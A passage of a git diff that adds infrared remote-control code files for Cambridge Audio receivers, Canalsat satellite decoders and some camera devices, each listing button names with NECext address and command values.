+type: parsed +protocol: NECext +address: 10 00 00 00 +command: 7D 00 00 00 +# +name: TUNER_PRESET_10 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 7E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/Receiver/19,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/Receiver/19,-1.ir new file mode 100644 index 000000000..7ee6ceb8a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/Receiver/19,-1.ir @@ -0,0 +1,80 @@ +Filetype: IR signals file +Version: 1 +# +name: TUNER +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 01 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 02 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 03 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 04 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 05 00 00 00 +# +name: REC_1 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 06 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 07 00 00 00 +# +name: REC_2 +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 08 00 00 00 +# +name: ALL_OFF +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 0B 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 0C 00 00 00 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 0D 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 10 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 13 00 00 00 +command: 11 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/Receiver/192,192.ir b/assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/Receiver/192,192.ir new file mode 100644 index 000000000..b8b81baa2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/Receiver/192,192.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: SPK-SETUP +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 01 00 00 00 +# +name: PL_II_NEO +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 02 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 03 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 04 00 00 00 +# +name: PFEIL_LINKS +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 06 00 00 00 +# +name: TEST_TONE +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 07 00 00 00 +# +name: DSP-MODE +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 09 00 00 00 +# +name: BASS_/_TREBLE +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 0A 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 0C 00 00 00 +# +name: CH-SELECT +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 0D 00 00 00 +# +name: STEREO/MONO +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 0E 00 00 00 +# +name: 6.1_DIRECT +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 0F 00 00 00 +# +name: OSD_ON/OFF +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 11 00 00 00 +# +name: SUB_ON/OFF +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 12 00 00 00 +# +name: DYNAMIC +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 13 00 00 00 +# +name: STUMM +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 14 00 00 00 +# +name: PFEIL_RECHTS +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 15 00 00 00 +# +name: PTY +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 16 00 00 00 +# +name: DD_EX_DTS_ES +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 17 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 1A 00 00 00 +# +name: APS +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 1B 00 00 00 +# +name: TUNER_AM/FM +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 1C 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 1D 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 1E 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 1F 00 00 00 +# +name: LFE_TRIM +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 20 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 21 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 22 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 23 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 24 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 25 00 00 00 +# +name: TAPE_MD/CDR +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 26 00 00 00 +# +name: CD/AUX +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 27 00 00 00 +# +name: INPUT_MODE +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 60 00 00 00 +# +name: DELAY +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: A0 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/Receiver/192,63.ir b/assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/Receiver/192,63.ir new file mode 100644 index 000000000..5bf9e75ff --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/Receiver/192,63.ir @@ -0,0 +1,116 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: C0 3F 00 00 +command: 00 00 00 00 +# +name: Preset_1/5 +type: parsed +protocol: NECext +address: C0 3F 00 00 +command: 03 00 00 00 +# +name: Mode_(Tuner) +type: parsed +protocol: NECext +address: C0 3F 00 00 +command: 18 00 00 00 +# +name: Stereo/Mono_(Tuner) +type: parsed +protocol: NECext +address: C0 3F 00 00 +command: 19 00 00 00 +# +name: Speaker_A/B +type: parsed +protocol: NECext +address: C0 3F 00 00 +command: 1A 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: C0 3F 00 00 +command: 1B 00 00 00 +# +name: Skip/Scan_up_(Tuner) +type: parsed +protocol: NECext +address: C0 3F 00 00 +command: 1C 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: C0 3F 00 00 +command: 1D 00 00 00 +# +name: Skip/Scan_down_(Tuner) +type: parsed +protocol: NECext +address: C0 3F 00 00 +command: 1E 00 00 00 +# +name: BD/DVD +type: parsed +protocol: NECext +address: C0 3F 00 00 +command: 1F 00 00 00 +# +name: Preset_2/6 +type: parsed +protocol: NECext +address: C0 3F 00 00 +command: 40 00 00 00 +# +name: Preset_4/8 +type: parsed +protocol: NECext +address: C0 3F 00 00 +command: 41 00 00 00 +# +name: Preset_3/7 +type: parsed +protocol: NECext +address: C0 3F 00 00 +command: 42 00 00 00 +# +name: SOURCE +type: parsed +protocol: NECext +address: C0 3F 00 00 +command: 52 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: C0 3F 00 00 +command: 58 00 00 00 +# +name: AM/TUNER +type: parsed +protocol: NECext +address: C0 3F 00 00 +command: 59 00 00 00 +# +name: MP3/AUX +type: parsed +protocol: NECext +address: C0 3F 00 00 +command: 5C 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: C0 3F 00 00 +command: 5D 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: C0 3F 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/Unknown_Audio/192,192.ir b/assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/Unknown_Audio/192,192.ir new file mode 100644 index 000000000..7f3370e71 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/Unknown_Audio/192,192.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 01 00 00 00 +# +name: PLII_NEO6 +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 03 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 04 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 06 00 00 00 +# +name: TEST_TONE +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 07 00 00 00 +# +name: DSP_MODE +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 09 00 00 00 +# +name: BASS_TREBLE +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 0C 00 00 00 +# +name: CH_SELECT +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 0D 00 00 00 +# +name: STEREO_MONO +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 0E 00 00 00 +# +name: X_KEY_1_DIRECT +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 0F 00 00 00 +# +name: I-O +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 11 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 12 00 00 00 +# +name: DYNAMIC +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 14 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 15 00 00 00 +# +name: PTY +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 16 00 00 00 +# +name: DDEX_DTSES +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 17 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 1A 00 00 00 +# +name: APS +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 1B 00 00 00 +# +name: TUNER_AM_FM +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 1C 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 1D 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 1F 00 00 00 +# +name: LFE_TRIM +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 20 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 21 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 22 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 23 00 00 00 +# +name: X_KEY_VIDEO2 +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 24 00 00 00 +# +name: X_KEY_VIDEO3 +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 25 00 00 00 +# +name: TAPE_MD_CDR +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 26 00 00 00 +# +name: CD_AUX +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 27 00 00 00 +# +name: INPUT_MODE +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: 60 00 00 00 +# +name: DELAY +type: parsed +protocol: NECext +address: C0 C0 00 00 +command: A0 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/Unknown_X40A/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/Unknown_X40A/16,-1.ir new file mode 100644 index 000000000..c26151d18 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Cambridge Audio/Unknown_X40A/16,-1.ir @@ -0,0 +1,116 @@ +Filetype: IR signals file +Version: 1 +# +name: Tape_Mon +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 00 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 01 00 00 00 +# +name: AV_MD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 02 00 00 00 +# +name: Tuner_DAB +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 03 00 00 00 +# +name: Aux_Phono +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 04 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 05 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0E 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: Brightness +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 12 00 00 00 +# +name: Source_Up +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 13 00 00 00 +# +name: Source_Down +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 14 00 00 00 +# +name: Clip_Off +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 15 00 00 00 +# +name: Clip_On +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 16 00 00 00 +# +name: Mute_On +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 32 00 00 00 +# +name: Mute_Off +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 33 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Camera/Camera Multi Plex/133,115.ir b/assets/resources/infrared/_CSV-IRDB_/Camera/Camera Multi Plex/133,115.ir new file mode 100644 index 000000000..cc17c66cf --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Camera/Camera Multi Plex/133,115.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 80 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 81 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 82 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 83 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 84 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 85 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 86 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 87 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 88 00 00 00 +# +name: PIP_ON +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 89 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 8A 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 8B 00 00 00 +# +name: IR_OP +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 8C 00 00 00 +# +name: PG_DWN +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 8D 00 00 00 +# +name: PG_UP +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 8E 00 00 00 +# +name: BELL_MT +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 8F 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 90 00 00 00 +# +name: MAIN_+ +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 91 00 00 00 +# +name: SUB_+ +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 92 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 93 00 00 00 +# +name: MAIN_- +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 95 00 00 00 +# +name: SUB_- +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 96 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 97 00 00 00 +# +name: MUENU +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 98 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Canalsat/Satellite/10,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Canalsat/Satellite/10,-1.ir new file mode 100644 index 000000000..fb1c9a4c3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Canalsat/Satellite/10,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 09 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0C 00 00 00 +# +name: PILOTE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0F 00 00 00 +# +name: TV/SAT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 28 00 00 00 +# +name: + +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 2F 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 46 00 00 00 +# +name: PROGR +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 4F 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 50 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 51 00 00 00 +# +name: SERV +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 52 00 00 00 +# +name: SORTIE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 53 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 55 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 56 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 57 00 00 00 +# +name: PREFER +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 61 00 00 00 +# +name: PERSO +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6A 00 00 00 +# +name: A +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6B 00 00 00 +# +name: B +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6C 00 00 00 +# +name: C +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6D 00 00 00 +# +name: D +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6E 00 00 00 +# +name: E +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Canalsat/Unknown_CanalSat/10,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Canalsat/Unknown_CanalSat/10,-1.ir new file mode 100644 index 000000000..07a2df41e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Canalsat/Unknown_CanalSat/10,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0C 00 00 00 +# +name: Pilote +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0F 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 28 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 2F 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 46 00 00 00 +# +name: Progr +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 4F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 50 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 51 00 00 00 +# +name: Serv +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 52 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 53 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 55 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 56 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 57 00 00 00 +# +name: Prefer +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 61 00 00 00 +# +name: Perso +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6A 00 00 00 +# +name: KEY_A +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6B 00 00 00 +# +name: KEY_B +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6C 00 00 00 +# +name: KEY_C +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6D 00 00 00 +# +name: KEY_D +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6E 00 00 00 +# +name: KEY_E +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Canalsat/Unknown_CanalSatHD/10,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Canalsat/Unknown_CanalSatHD/10,-1.ir new file mode 100644 index 000000000..b32d2a07d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Canalsat/Unknown_CanalSatHD/10,-1.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0C 00 00 00 +# +name: PILOTO +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 21 00 00 00 +# +name: volver +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 22 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 28 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 2F 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 30 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 32 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 34 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 36 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 37 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 46 00 00 00 +# +name: DIGITAL+ +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 48 00 00 00 +# +name: TDT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 4A 00 00 00 +# +name: GUIA +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 4F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 50 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 51 00 00 00 +# +name: SERV +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 52 00 00 00 +# +name: salir +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 53 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 55 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 56 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 57 00 00 00 +# +name: prefe +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 61 00 00 00 +# +name: PERSO +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6A 00 00 00 +# +name: KEY_A +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6B 00 00 00 +# +name: KEY_B +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6C 00 00 00 +# +name: KEY_C +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6D 00 00 00 +# +name: KEY_D +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6E 00 00 00 +# +name: KEY_E +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6F 00 00 00 +# +name: MICANAL +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 72 00 00 00 +# +name: screen +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 7E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Canon/Unknown_CAM/133,118.ir b/assets/resources/infrared/_CSV-IRDB_/Canon/Unknown_CAM/133,118.ir new file mode 100644 index 000000000..68b879259 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Canon/Unknown_CAM/133,118.ir @@ -0,0 +1,68 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 00 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 01 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 02 00 00 00 +# +name: START/STOP +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 03 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 85 76 00 00 +command: 04 00 00 00 +# 